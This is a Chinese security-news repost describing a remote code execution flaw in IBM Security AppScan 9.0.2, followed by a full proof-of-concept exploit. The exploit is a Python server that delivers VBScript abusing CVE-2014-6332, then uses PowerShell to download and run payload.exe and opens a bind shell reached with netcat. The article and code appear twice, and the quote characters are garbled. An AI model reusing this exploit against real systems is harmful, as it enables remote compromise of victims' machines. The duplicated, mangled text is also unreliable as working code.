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IBM Security AppScan 9.0.2远程代码执行漏洞（含POC）
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发表于: 2015-6-4 22:19 1309
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新闻链接：http://www.freebuf.com/vuls/69023.html
新闻时间：2015-06-04
新闻正文：
IBM Security AppScan Standard是美国IBM公司的一套Web应用的安全测试工具。该工具可在应用开发生命周期中进行自动化动态和静态安全漏洞扫描。该漏洞基于Windows OLE自动化数组远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。
漏洞POC
#!/usr/bin/python
import BaseHTTPServer, socket
##
# IBM Security AppScan Standard OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7
#
# Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/
# if you able to exploit IE then you can exploit appscan and acunetix ;)
# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
#
# Usage:
# chmod +x appscan.py
# ./appscan.py
#
# Video: http://youtu.be/hPs1zQaBLMU ...
# nc 172.20.10.14 333
##
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(req):
req.send_response(200)
if req.path == "/payload.exe":
req.send_header(，Content-type，, ，application/exe，)
req.end_headers()
exe = open("payload.exe", ，rb，)
req.wfile.write(exe.read())
exe.close()
else:
req.send_header(，Content-type，, ，text/html，)
req.end_headers()
req.wfile.write("""Please scan me!
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile(，http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe，,\
，payload.exe，);$(New-Object -com Shell.Application).ShellExecute(，payload.exe，);"
shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
end function
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
， document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>""")
if __name__ == ，__main__，:
sclass = BaseHTTPServer.HTTPServer
server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
print "Http server started", socket.gethostbyname(socket.gethostname()), 80
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()
新闻时间：2015-06-04
新闻正文：
IBM Security AppScan Standard是美国IBM公司的一套Web应用的安全测试工具。该工具可在应用开发生命周期中进行自动化动态和静态安全漏洞扫描。该漏洞基于Windows OLE自动化数组远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。
漏洞POC
#!/usr/bin/python
import BaseHTTPServer, socket
##
# IBM Security AppScan Standard OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7
#
# Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/
# if you able to exploit IE then you can exploit appscan and acunetix ;)
# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
#
# Usage:
# chmod +x appscan.py
# ./appscan.py
#
# Video: http://youtu.be/hPs1zQaBLMU ...
# nc 172.20.10.14 333
##
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(req):
req.send_response(200)
if req.path == "/payload.exe":
req.send_header(，Content-type，, ，application/exe，)
req.end_headers()
exe = open("payload.exe", ，rb，)
req.wfile.write(exe.read())
exe.close()
else:
req.send_header(，Content-type，, ，text/html，)
req.end_headers()
req.wfile.write("""Please scan me!
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile(，http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe，,\
，payload.exe，);$(New-Object -com Shell.Application).ShellExecute(，payload.exe，);"
shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
end function
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
， document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>""")
if __name__ == ，__main__，:
sclass = BaseHTTPServer.HTTPServer
server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
print "Http server started", socket.gethostbyname(socket.gethostname()), 80
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()
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